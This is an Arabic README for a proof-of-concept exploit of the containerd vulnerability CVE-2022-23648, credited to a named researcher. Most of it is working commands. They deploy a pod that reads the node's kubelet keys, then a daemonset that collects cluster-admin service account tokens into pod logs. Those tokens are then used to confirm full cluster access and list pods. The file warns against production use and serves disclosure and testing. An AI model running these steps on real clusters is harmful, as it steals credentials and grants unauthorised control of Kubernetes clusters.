
إثبات المفهوم لـ CVE-2022-23648
هذا إثبات مفهوم لثغرة CVE-2022-23648 الخاصة بـ @_fel1x. بيانات الإفصاح هنا، وبيانات CVE هنا، ومدوّنة تتضمن مزيدًا من المعلومات وأفكار التخفيف هنا. يحتوي ملف Containerfile على المعلومات المطلوبة، ويمكنك تغيير هدف وحدة التخزين VOLUME لتجربة مسارات مختلفة.
أسهل طريقة لإظهار عملها هي استخدام KinD الذي يحتوي على صور قابلة للاستغلال.
ما لم تكن العقدة تحتوي بطريقة ما على الكثير من البيانات في /var/lib/kubelet/pki، فيجب أن يكون هذا اختبارًا آمنًا.
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/وإذا حصلت على ملفات تتضمن kubelet.key فهذا يعني أنها نجحت :)
ملاحظة: لا تحاول تنفيذ هذا على مجموعة إنتاجية. قد تقوم Containerd الثغرة بتكرار الكثير من البيانات في pod الهجوم واستنفاد مساحة القرص. أيضًا، سيؤدي هذا إلى طباعة رموز SA الخاصة بـ cluster-admin في سجلات pod والتي من المرجح أن تُرسل إلى وجهة تسجيل كنص واضح
سيقوم هذا بتشغيل daemonset يحاول تعداد جميع رموز حسابات الخدمة في Kubernetes على العقدة وطباعتها في سجلات pod إذا تبيّن أنها رمز cluster-admin.
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -Aإذا تمت طباعة yes، فتهانينا، لديك رمز حساب خدمة cluster-admin قصير الأمد، قم بتشغيل:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d لمعرفة أي SA هو
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list